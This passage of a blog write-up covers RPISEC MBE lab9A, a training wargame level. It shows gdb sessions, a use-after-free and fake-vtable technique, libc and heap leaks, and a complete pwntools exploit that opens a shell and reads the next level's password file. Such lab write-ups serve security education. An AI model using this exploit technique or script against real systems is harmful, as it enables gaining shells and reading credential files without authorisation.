c\r\nContinuing.\r\n4\r\nWhich set?: 1\r\n...\r\nEnter choice: 4\r\nWhich set?: 0\r\n...\r\nEnter choice: 1\r\nWhich lockbox do you want?: 0\r\nHow many items will you store?: 4\r\n...\r\nEnter choice: ^C\r\nProgram received signal SIGINT, Interrupt.\r\n...\r\ngdb-peda$ x\/100xw 0x804c000\r\n0x804c000:      0x00000000      0x00000029      0x0804c030      0x0804c0a0\r\n0x804c010:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c020:      0x00000000      0x00000000      0x00000000      0x00000019\r\n0x804c030:      0x08049aa8      0x00000004      0x00000000      0x0804c0a0\r\n0x804c040:      0x00000000      0x00000059      0xb7ec3450      0xb7ec3450\r\n0x804c050:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c070:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c080:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c090:      0x00000000      0x00000000      0x00000058      0x00000018\r\n0x804c0a0:      0x00000000      0x00000014      0x00000000      0x0804c0b8\r\n0x804c0b0:      0x00000000      0x00020f51      0x00000000      0x00000000\r\n...\r\n<\/pre>\n<p>The new instances we created was again stored at <code>0x0804c030<\/code>. But have a look at the <code>set_data<\/code> array at <code>0x804c03c<\/code>. The array is stored at <code>0x0804c0a0<\/code>. This is exactly the address which has been used before for the second instance which we have already deleted. Within the pointer array <code>set_vec<\/code> on the first line we can see that the deleted instance is still referenced: <code>0x0804c0a0<\/code>.<\/p>\n<p>This means that <code>set_data[0]<\/code> is referencing the vtable of the second, already deallocated instance. If we want to store a value there, we must consider how the <code>add<\/code> method chooses the index:<\/p>\n<pre class=\"brush: cpp; first-line: 62; title: ; notranslate\" title=\"\">\r\nHashSet&lt;T, HashFunc&gt;::add(T val)\r\n{\r\n    int index = this-&gt;m_hash(val) % this-&gt;m_size;\r\n    this-&gt;set_data&#x5B;index] = val;\r\n}\r\n<\/pre>\n<p>The index is defined by <code>this->m_hash(val) % this->m_size<\/code>. Because <code>m_hash<\/code> simply returns the provided value, it is basically <code>val % m_size<\/code>. Because we created the new instance with a size of 4, the value we want to store in <code>set_data[0]<\/code> has to fulfill the equation <code>val % 4 = 0<\/code>.<\/p>\n<p>Let's just store some random value there which fulfills the equation and verify that we control the instruction pointer:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,3,4,5,14,15,17,28]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ c\r\nContinuing.\r\n2\r\nWhich lockbox?: 0\r\nItem value: 78704\r\n+----------- clark's improved item storage -----------+\r\n| &#x5B; -- Now using HashSets for insta-access to items!  |\r\n| 1. Open a lockbox                                   |\r\n| 2. Add an item to a lockbox                         |\r\n| 3. Get an item from a lockbox                       |\r\n| 4. Destroy your lockbox and items in it             |\r\n| 5. Exit                                             |\r\n+-----------------------------------------------------+\r\nEnter choice: ^C\r\nProgram received signal SIGINT, Interrupt.\r\n...\r\ngdb-peda$ x\/100xw 0x804c000\r\n0x804c000:      0x00000000      0x00000029      0x0804c030      0x0804c0a0\r\n0x804c010:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c020:#     0x00000000      0x00000000      0x00000000      0x00000019\r\n0x804c030:      0x08049aa8      0x00000004      0x00000000      0x0804c0a0\r\n0x804c040:      0x00000000      0x00000059      0xb7ec3450      0xb7ec3450\r\n0x804c050:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c070:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c080:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c090:      0x00000000      0x00000000      0x00000058      0x00000018\r\n0x804c0a0:      0x00013370      0x00000014      0x00000000      0x0804c0b8\r\n0x804c0b0:      0x00000000      0x00020f51      0x00000000      0x00000000\r\n...\r\n<\/pre>\n<p>I added the value <code>78704 = 0x13370<\/code> to the new instance. As we can see this value has been stored at <code>0x804c0a0<\/code>.<\/p>\n<p>If we now trigger a method call on the second instance...<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,3,4,5,7,9,23,39]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ c\r\nContinuing.\r\n3\r\nWhich lockbox?: 1\r\nItem value: 0\r\n\r\nProgram received signal SIGSEGV, Segmentation fault.\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0x1337c\r\nEBX: 0xb7ec3000 --&gt; 0x1a9da8\r\nECX: 0xb7ec48a4 --&gt; 0x0\r\nEDX: 0x4\r\nESI: 0x0\r\nEDI: 0x0\r\nEBP: 0xbffff6c8 --&gt; 0xbffff6f8 --&gt; 0x0\r\nESP: 0xbffff6a0 --&gt; 0x804b0c0 --&gt; 0xb7fc366c --&gt; 0xb7f68000 (&lt;_ZNSoD1Ev&gt;:       push   ebx)\r\nEIP: 0x804931b (&lt;_Z12do_find_itemPP7HashSetIi8hash_numE+159&gt;:   mov    eax,DWORD PTR &#x5B;eax])\r\nEFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\n   0x8049314 &lt;_Z12do_find_itemPP7HashSetIi8hash_numE+152&gt;:      mov    eax,DWORD PTR &#x5B;eax]\r\n   0x8049316 &lt;_Z12do_find_itemPP7HashSetIi8hash_numE+154&gt;:      mov    eax,DWORD PTR &#x5B;eax]\r\n   0x8049318 &lt;_Z12do_find_itemPP7HashSetIi8hash_numE+156&gt;:      add    eax,0xc\r\n=&gt; 0x804931b &lt;_Z12do_find_itemPP7HashSetIi8hash_numE+159&gt;:      mov    eax,DWORD PTR &#x5B;eax]\r\n   0x804931d &lt;_Z12do_find_itemPP7HashSetIi8hash_numE+161&gt;:      mov    edx,DWORD PTR &#x5B;ebp-0x14]\r\n   0x8049320 &lt;_Z12do_find_itemPP7HashSetIi8hash_numE+164&gt;:      lea    ecx,&#x5B;edx*4+0x0]\r\n   0x8049327 &lt;_Z12do_find_itemPP7HashSetIi8hash_numE+171&gt;:      mov    edx,DWORD PTR &#x5B;ebp+0x8]\r\n   0x804932a &lt;_Z12do_find_itemPP7HashSetIi8hash_numE+174&gt;:      add    edx,ecx\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xbffff6a0 --&gt; 0x804b0c0 --&gt; 0xb7fc366c --&gt; 0xb7f68000 (&lt;_ZNSoD1Ev&gt;:      push   ebx)\r\n0004| 0xbffff6a4 --&gt; 0x8049a02 (&quot;Item value: &quot;)\r\n0008| 0xbffff6a8 --&gt; 0xbffff6f8 --&gt; 0x0\r\n0012| 0xbffff6ac --&gt; 0xb7f693f5 (&lt;_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc+53&gt;:  add    esp,0x10)\r\n0016| 0xbffff6b0 --&gt; 0x804b0c0 --&gt; 0xb7fc366c --&gt; 0xb7f68000 (&lt;_ZNSoD1Ev&gt;:      push   ebx)\r\n0020| 0xbffff6b4 --&gt; 0x1\r\n0024| 0xbffff6b8 --&gt; 0x0\r\n0028| 0xbffff6bc --&gt; 0xffffffff\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\nStopped reason: SIGSEGV\r\n0x0804931b in do_find_item(HashSet&lt;int, hash_num&gt;**) ()\r\ngdb-peda$\r\n<\/pre>\n<p>... we get a segmentation fault. But we do not control the instruction pointer yet. The function <code>do_find_item<\/code> tried to invoke the method <code>find<\/code> on the second instance. Because this is the fourth method in the vtable the value <code>0xc<\/code> has been added to <code>0x13370<\/code>. When trying to load the address of the method <code>find<\/code> from <code>0x1337c<\/code> a segmentation fault is raised. Thus in order to finally control the instruction pointer we have to set up a fake vtable:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [29,30,31,38,41,42,43]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ r\r\nStarting program: \/levels\/lab09\/lab9A\r\n+----------- clark's improved item storage -----------+\r\n| &#x5B; -- Now using HashSets for insta-access to items!  |\r\n| 1. Open a lockbox                                   |\r\n| 2. Add an item to a lockbox                         |\r\n| 3. Get an item from a lockbox                       |\r\n| 4. Destroy your lockbox and items in it             |\r\n| 5. Exit                                             |\r\n+-----------------------------------------------------+\r\nEnter choice: 1\r\nWhich lockbox do you want?: 0\r\nHow many items will you store?: 20\r\n...\r\nEnter choice: 1\r\nWhich lockbox do you want?: 1\r\nHow many items will you store?: 20\r\n...\r\nEnter choice: 4\r\nWhich set?: 1\r\n...\r\nEnter choice: 4\r\nWhich set?: 0\r\n...\r\nEnter choice: 1\r\nWhich lockbox do you want?: 0\r\nHow many items will you store?: 4\r\n...\r\nEnter choice: 1\r\nWhich lockbox do you want?: 2\r\nHow many items will you store?: 4\r\n...\r\nEnter choice: ^C\r\nProgram received signal SIGINT, Interrupt.\r\n...\r\ngdb-peda$ x\/100xw 0x804c000\r\n0x804c000:      0x00000000      0x00000029      0x0804c030      0x0804c0a0\r\n0x804c010:      0x0804c048      0x00000000      0x00000000      0x00000000\r\n0x804c020:      0x00000000      0x00000000      0x00000000      0x00000019\r\n0x804c030:      0x08049aa8      0x00000004      0x00000000      0x0804c0a0\r\n0x804c040:      0x00000000      0x00000019      0x08049aa8      0x00000004\r\n0x804c050:      0x00000000      0x0804c060      0x00000000      0x00000019\r\n0x804c060:      0xb7ec3450      0xb7ec3450      0x00000000      0x00000000\r\n0x804c070:      0x00000000      0x00000029      0xb7ec3450      0xb7ec3450\r\n0x804c080:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c090:      0x00000000      0x00000000      0x00000028      0x00000018\r\n0x804c0a0:      0x00000000      0x00000014      0x00000000      0x0804c0b8\r\n0x804c0b0:      0x00000000      0x00020f51      0x00000000      0x00000000\r\n...\r\n<\/pre>\n<p>I created and deleted the instances just like before but added another instance at index 2 with the size of 4. This instance has been stored at <code>0x0804c048<\/code>. The <code>set_data<\/code> array of this instances is stored at <code>0x0804c060<\/code>. We can use this array as our fake vtable.<\/p>\n<p>Since we want to get a shell we can store the address of <code>system<\/code> in our vtable keeping in mind that we have not leaked the base address of libc as well was the heap's address yet (we get to this later).<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,3,5,9,10,11,13,14,23]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ p system\r\n$1 = {&lt;text variable, no debug info&gt;} 0xb7d59190 &lt;__libc_system&gt;\r\ngdb-peda$ ! rax2 0xb7d59190\r\n3084226960\r\ngdb-peda$ c\r\nContinuing.\r\n\r\nProgram received signal SIGALRM, Alarm clock.\r\n2\r\nWhich lockbox?: 2\r\nItem value: 3084226960\r\n...\r\nEnter choice: ^C\r\nProgram received signal SIGINT, Interrupt.\r\n...\r\ngdb-peda$ x\/100xw 0x804c000\r\n0x804c000:      0x00000000      0x00000029      0x0804c030      0x0804c0a0\r\n0x804c010:      0x0804c048      0x00000000      0x00000000      0x00000000\r\n0x804c020:      0x00000000      0x00000000      0x00000000      0x00000019\r\n0x804c030:      0x08049aa8      0x00000004      0x00000000      0x0804c0a0\r\n0x804c040:      0x00000000      0x00000019      0x08049aa8      0x00000004\r\n0x804c050:      0x00000000      0x0804c060      0x00000000      0x00000019\r\n0x804c060:      0xb7d59190      0xb7ec3450      0x00000000      0x00000000\r\n...\r\n<\/pre>\n<p>The address of system (<code>0xb7d59190<\/code>) has been stored at the first index of the array at <code>0x804c060<\/code> because <code>0xb7d59190 % 4 = 0<\/code>.<\/p>\n<p>The next step is to set the vtable pointer of the second, deallocated instance appropriately. Since we are going to invoke the method <code>find<\/code> we have to keep in mind that the address of <code>system<\/code> has to be the fourth entry within our fake vtable. Thus we have to subtract <code>0xc<\/code> from <code>0x804c060<\/code> and store this value in the first new instance:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,3,5,7,8,9,11,12,14,25]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ p 0x804c060 - 0xc\r\n$2 = 0x804c054\r\ngdb-peda$ ! rax2 0x804c054\r\n134529108\r\ngdb-peda$ c\r\nContinuing.\r\n2\r\nWhich lockbox?: 0\r\nItem value: 134529108\r\n...\r\nEnter choice: ^C\r\nProgram received signal SIGINT, Interrupt.\r\n...\r\ngdb-peda$ x\/100xw 0x804c000\r\n0x804c000:      0x00000000      0x00000029      0x0804c030      0x0804c0a0\r\n0x804c010:      0x0804c048      0x00000000      0x00000000      0x00000000\r\n0x804c020:      0x00000000      0x00000000      0x00000000      0x00000019\r\n0x804c030:      0x08049aa8      0x00000004      0x00000000      0x0804c0a0\r\n0x804c040:      0x00000000      0x00000019      0x08049aa8      0x00000004\r\n0x804c050:      0x00000000      0x0804c060      0x00000000      0x00000019\r\n0x804c060:      0xb7d59190      0xb7ec3450      0x00000000      0x00000000\r\n0x804c070:      0x00000000      0x00000029      0xb7ec3450      0xb7ec3450\r\n0x804c080:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c090:      0x00000000      0x00000000      0x00000028      0x00000018\r\n0x804c0a0:      0x0804c054      0x00000014      0x00000000      0x0804c0b8\r\n0x804c0b0:      0x00000000      0x00020f51      0x00000000      0x00000000\r\n...\r\n<\/pre>\n<p>The value <code>0x0804c054<\/code> has been successfully written to the vtable of the second, deallocated instance. Since all involved addresses are 4 byte aligned the value has been stored at the first index.<\/p>\n<p>Now let's set up a breakpoint at the <code>system<\/code> function and see if the function is triggered:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,3,5,6,7,23,30]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ b *system\r\nBreakpoint 1 at 0xb7d59190: file ..\/sysdeps\/posix\/system.c, line 178.\r\ngdb-peda$ c\r\nContinuing.\r\n3\r\nWhich lockbox?: 1\r\nItem value: 0\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0xb7d59190 (&lt;__libc_system&gt;:       push   ebx)\r\nEBX: 0xb7ec3000 --&gt; 0x1a9da8\r\nECX: 0x0\r\nEDX: 0x804c0a0 --&gt; 0x804c054 --&gt; 0x804c060 --&gt; 0xb7d59190 (&lt;__libc_system&gt;:     push   ebx)\r\nESI: 0x0\r\nEDI: 0x0\r\nEBP: 0xbffff6c8 --&gt; 0xbffff6f8 --&gt; 0x0\r\nESP: 0xbffff69c --&gt; 0x804933a (&lt;_Z12do_find_itemPP7HashSetIi8hash_numE+190&gt;:    mov    DWORD PTR &#x5B;ebp-0xc],eax)\r\nEIP: 0xb7d59190 (&lt;__libc_system&gt;:       push   ebx)\r\nEFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\n   0xb7d59183 &lt;cancel_handler+227&gt;:     ret\r\n   0xb7d59184:  lea    esi,&#x5B;esi+0x0]\r\n   0xb7d5918a:  lea    edi,&#x5B;edi+0x0]\r\n=&gt; 0xb7d59190 &lt;__libc_system&gt;:  push   ebx\r\n   0xb7d59191 &lt;__libc_system+1&gt;:        sub    esp,0x8\r\n   0xb7d59194 &lt;__libc_system+4&gt;:        mov    eax,DWORD PTR &#x5B;esp+0x10]\r\n   0xb7d59198 &lt;__libc_system+8&gt;:        call   0xb7e3f94b &lt;__x86.get_pc_thunk.bx&gt;\r\n   0xb7d5919d &lt;__libc_system+13&gt;:       add    ebx,0x169e63\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xbffff69c --&gt; 0x804933a (&lt;_Z12do_find_itemPP7HashSetIi8hash_numE+190&gt;:   mov    DWORD PTR &#x5B;ebp-0xc],eax)\r\n0004| 0xbffff6a0 --&gt; 0x804c0a0 --&gt; 0x804c054 --&gt; 0x804c060 --&gt; 0xb7d59190 (&lt;__libc_system&gt;:     push   ebx)\r\n0008| 0xbffff6a4 --&gt; 0x0\r\n0012| 0xbffff6a8 --&gt; 0xbffff6f8 --&gt; 0x0\r\n0016| 0xbffff6ac --&gt; 0xb7f693f5 (&lt;_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc+53&gt;:  add    esp,0x10)\r\n0020| 0xbffff6b0 --&gt; 0x804b0c0 --&gt; 0xb7fc366c --&gt; 0xb7f68000 (&lt;_ZNSoD1Ev&gt;:      push   ebx)\r\n0024| 0xbffff6b4 --&gt; 0x1\r\n0028| 0xbffff6b8 --&gt; 0x0\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\n\r\nBreakpoint 1, __libc_system (line=0x804c0a0 &quot;T\\300&#92;&#48;04\\b&#92;&#48;24&quot;) at ..\/sysdeps\/posix\/system.c:178\r\n178     ..\/sysdeps\/posix\/system.c: No such file or directory.\r\ngdb-peda$\r\n<\/pre>\n<p>Great! The function <code>system<\/code> has been called. But wait. What is the second item on the stack? The function expects the one and only argument here: the command to be executed. The value <code>0x804c0a0<\/code> is stored there. We know this value. It is the pointer to our <code>hashset_int<\/code> instance. In this case it is the <i>this pointer<\/i> which is passed as the first argument to any class method. Otherwise the method could not determine on which object the method should be applied. The this pointer is implicitly added to any method by the compiler.<\/p>\n<p>A method like this:<\/p>\n<pre class=\"brush: cpp; first-line: 70; title: ; notranslate\" title=\"\">\r\nHashSet&lt;T, HashFunc&gt;::find(T val)\r\n<\/pre>\n<p>Actually looks like this:<\/p>\n<pre class=\"brush: cpp; first-line: 70; title: ; notranslate\" title=\"\">\r\nHashSet&lt;T, HashFunc&gt;::find(HashSet&lt;T, HashFunc&gt; *this, T val)\r\n<\/pre>\n<p>What does this mean for our exploit? We can call the function <code>system<\/code> but we cannot fully control the first argument being passed which we would like to set to the string <code>\/bin\/sh<\/code>.<\/p>\n<p>As for now the first argument points to the second, deallocated instance which begins with the address of the fake vtable we set up. We cannot change this first 4 bytes because otherwise our vtable would not be used. But we can change the following bytes. But how do us help this? Here comes in a little trick.<\/p>\n<p>We actually want to execute <code>\/bin\/sh<\/code> simply like this:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab9A@warzone:\/levels\/lab09$ \/bin\/sh\r\n$ id\r\nuid=1034(lab9A) gid=1035(lab9A) groups=1035(lab9A),1001(gameuser)\r\n<\/pre>\n<p>But we could also do this:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab9A@warzone:\/levels\/lab09$ JUNK||\/bin\/sh\r\nJUNK: command not found\r\n$ id\r\nuid=1034(lab9A) gid=1035(lab9A) groups=1035(lab9A),1001(gameuser)\r\n<\/pre>\n<p><code>JUNK<\/code> is not a valid command. But since we added an OR (<code>||<\/code>) we get a shell nonetheless.<\/p>\n<p>Since we are a little bit limited which value can be stored at which index in the array because of the modulo operation in <code>add<\/code> we have find appropriate values to create a string which suffices our needs. I ended up with the following:<\/p>\n<pre>\r\nset_data[0] = 0x804c054   <-- address of fake vtable\r\nset_data[1] = \"aaaa\"      <-- value as DWORD in little-endian: 0x61616161 % 4 = 1\r\nset_data[2] = \"2 ||\"      <-- value as DWORD in little-endian: 0x7c7c2032 % 4 = 2\r\nset_data[3] = \"sh\\x00\"    <-- value as DWORD in little-endian: 0x00006873 % 4 = 3\r\n<\/pre>\n<p>This way the final string being passed as the first argument to <code>system<\/code> is <code>\"\\x54\\xc0\\x04\\08aaaa2 || sh\"<\/code>.<\/p>\n<p>There is only one thing left to do before we can finish our exploit: we have to leak the libc base address as well as the heap's address. As you may have noticed this is not really a problem because the addresses are on the heap after we created and deleted two instances and can be printed using the function <code>do_find_item<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,11,12,13,15,16,17,19,20,22,23,25,26,27,29,30,31,33,34,43,47]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ r\r\nStarting program: \/levels\/lab09\/lab9A\r\n+----------- clark's improved item storage -----------+\r\n| &#x5B; -- Now using HashSets for insta-access to items!  |\r\n| 1. Open a lockbox                                   |\r\n| 2. Add an item to a lockbox                         |\r\n| 3. Get an item from a lockbox                       |\r\n| 4. Destroy your lockbox and items in it             |\r\n| 5. Exit                                             |\r\n+-----------------------------------------------------+\r\nEnter choice: 1\r\nWhich lockbox do you want?: 0\r\nHow many items will you store?: 20\r\n...\r\nEnter choice: 1\r\nWhich lockbox do you want?: 1\r\nHow many items will you store?: 20\r\n...\r\nEnter choice: 4\r\nWhich set?: 1\r\n...\r\nEnter choice: 4\r\nWhich set?: 0\r\n...\r\nEnter choice: 1\r\nWhich lockbox do you want?: 0\r\nHow many items will you store?: 4\r\n...\r\nEnter choice: 1\r\nWhich lockbox do you want?: 2\r\nHow many items will you store?: 4\r\n...\r\nEnter choice: ^C\r\nProgram received signal SIGINT, Interrupt.\r\n...\r\ngdb-peda$ x\/100xw 0x804c000\r\n0x804c000:      0x00000000      0x00000029      0x0804c030      0x0804c0a0\r\n0x804c010:      0x0804c048      0x00000000      0x00000000      0x00000000\r\n0x804c020:      0x00000000      0x00000000      0x00000000      0x00000019\r\n0x804c030:      0x08049aa8      0x00000004      0x00000000      0x0804c0a0\r\n0x804c040:      0x00000000      0x00000019      0x08049aa8      0x00000004\r\n0x804c050:      0x00000000      0x0804c060      0x00000000      0x00000019\r\n0x804c060:      0xb7ec3450      0xb7ec3450      0x00000000      0x00000000\r\n0x804c070:      0x00000000      0x00000029      0xb7ec3450      0xb7ec3450\r\n0x804c080:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c090:      0x00000000      0x00000000      0x00000028      0x00000018\r\n0x804c0a0:      0x00000000      0x00000014      0x00000000      0x0804c0b8\r\n0x804c0b0:      0x00000000      0x00020f51      0x00000000      0x00000000\r\n...\r\n<\/pre>\n<p>At <code>0x804c060<\/code> and <code>0x804c060<\/code> a libc address is stored: <code>0xb7ec3450<\/code>. This is the forward (FD) and backward pointer (BK) of the deallocated chunk. Because this chunk is surrounded by allocated memory it cannot be coalesced and is stored in a bin. Since it is the first element of this bin, the forward and backward pointer is referencing the main_arena within the libc. We can use this address to calculate the address of <code>system<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,3,4,5,6,7,9,10,12,14,16,17]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ c\r\nContinuing.\r\n3\r\nWhich lockbox?: 2\r\nItem value: 0\r\nItem Found\r\nlockbox&#x5B;0] = -1209256880\r\n...\r\n^C\r\nProgram received signal SIGINT, Interrupt.\r\n...\r\ngdb-peda$ p system\r\n$1 = {&lt;text variable, no debug info&gt;} 0xb7d59190 &lt;__libc_system&gt;\r\ngdb-peda$ ! rax2 -1209256880\r\n0xffffffffb7ec3450\r\ngdb-peda$ p 0xb7ec3450 - 0xb7d59190\r\n$2 = 0x16a2c0\r\n<\/pre>\n<p>In the heap output above there is also a heap address which we can leak at <code>0x804c0ac<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,2,3,5,7,9,17,19,20]; title: ; notranslate\" title=\"\">\r\nEnter choice: 3\r\nWhich lockbox?: 0\r\nItem value: 3\r\nItem Found\r\nlockbox&#x5B;3] = 134529208\r\n...\r\ngdb-peda$ ! rax2 134529208\r\n0x804c0b8\r\ngdb-peda$ i proc mappings\r\nprocess 31455\r\nMapped address spaces:\r\n\r\n        Start Addr   End Addr       Size     Offset objfile\r\n         0x8048000  0x804a000     0x2000        0x0 \/levels\/lab09\/lab9A\r\n         0x804a000  0x804b000     0x1000     0x1000 \/levels\/lab09\/lab9A\r\n         0x804b000  0x804c000     0x1000     0x2000 \/levels\/lab09\/lab9A\r\n         0x804c000  0x806d000    0x21000        0x0 &#x5B;heap]\r\n...\r\ngdb-peda$ p 0x804c0b8 - 0x804c000\r\n$3 = 0xb8\r\n<\/pre>\n<p>At last we can write the final exploit-script:<\/p>\n<pre class=\"brush: python; first-line: 0; title: ; notranslate\" title=\"\">\r\nlab9A@warzone:\/levels\/lab09$ cat \/tmp\/exploit_lab9A.py\r\nfrom pwn import *\r\n\r\n\r\ndef open(p, idx, size):\r\n  p.sendline(&quot;1&quot;)\r\n  p.sendline(str(idx))\r\n  p.sendline(str(size))\r\n  p.recv(1000)\r\n\r\n\r\ndef delete(p, idx):\r\n  p.sendline(&quot;4&quot;)\r\n  p.sendline(str(idx))\r\n  p.recv(1000)\r\n\r\n\r\ndef add(p, idx, val):\r\n  p.sendline(&quot;2&quot;)\r\n  p.sendline(str(idx))\r\n  p.sendline(str(val))\r\n  p.recv(1000)\r\n\r\n\r\ndef get(p, idx, val):\r\n  p.sendline(&quot;3&quot;)\r\n  p.sendline(str(idx))\r\n  p.sendline(str(val))\r\n  p.recvuntil(&quot;lockbox&#x5B;&quot;+str(val)+&quot;] = &quot;)\r\n  ret = p.recv(1000)\r\n  ret = ret&#x5B;0:ret.index(&quot;\\n&quot;)]\r\n  ret = int(ret, 10)\r\n  if (ret &lt; 0): ret = -((ret-1)^0xffffffff) # value might be negative in two's complement\r\n  return ret\r\n\r\n\r\np = remote(&quot;localhost&quot;, 9941)\r\np.recv(1000)\r\n\r\nopen(p, 0, 20)\r\nopen(p, 1, 20)\r\ndelete(p, 1)\r\ndelete(p, 0)\r\nopen(p, 0, 4)\r\nopen(p, 2, 4)\r\n\r\n# leak libc\r\nleak_libc = get(p, 2, 0)\r\nlog.success(&quot;leak_libc: &quot; + hex(leak_libc))\r\n\r\n# leak heap\r\nleak_heap = get(p, 0, 3)\r\nlog.success(&quot;leak_heap: &quot; + hex(leak_heap)) # leak heap_base + 0xb8\r\n\r\n# set up fake vtable\r\nadd(p, 2, leak_libc - 0x16a2c0) # leak_libc is at offset 0x16a2c0 from system\r\n\r\n# overwrite vtable with fake vtable\r\nadd(p, 0, leak_heap - 0x58 - 0xc)\r\n\r\n# append string to argument for system\r\nadd(p, 0, 0x61616161) # &quot;aaaa&quot;\r\nadd(p, 0, 0x7c7c2032) # &quot;2 ||&quot;\r\nadd(p, 0, 0x00006873) # &quot;sh&quot;\r\n\r\n# invoke find-method, trigger system call\r\np.sendline(&quot;3\\n1\\n0&quot;)\r\np.recvuntil(&quot;Item value: &quot;)\r\n\r\np.interactive()\r\n<\/pre>\n<p>Running the script:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab9A@warzone:\/levels\/lab09$ python \/tmp\/exploit_lab9A.py\r\n&#x5B;+] Opening connection to localhost on port 9941: Done\r\n&#x5B;+] leak_libc: 0xb766b450\r\n&#x5B;+] leak_heap: 0x8f4e0b8\r\n&#x5B;*] Switching to interactive mode\r\n$ id\r\nuid=1035(lab9end) gid=1036(lab9end) groups=1036(lab9end),1001(gameuser)\r\n$ cat \/home\/lab9end\/.pass\r\n1_d1dNt_3v3n_n33d_4_Hilti_DD350\r\n<\/pre>\n<p>Done! The final password for this lab is <code>1_d1dNt_3v3n_n33d_4_Hilti_DD350<\/code>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>In the last lab we focused on Misc and Stack Cookies. In this next to last lab some characteristics when dealing with C++ are introduced. The lab contains only two levels: &#8211;&gt; lab9C &#8211;&gt; lab9A<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26,7],"tags":[8,9,13,18,10,11,12,14],"class_list":["post-435","post","type-post","status-publish","format-standard","hentry","category-rpisec-mbe","category-writeup","tag-assembly","tag-binary","tag-elf","tag-gdb","tag-pwn","tag-r2","tag-reversing","tag-x86"],"_links":{"self":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/435"}],"collection":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=435"}],"version-history":[{"count":4,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/435\/revisions"}],"predecessor-version":[{"id":439,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/435\/revisions\/439"}],"wp:attachment":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=435"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=435"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=435"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}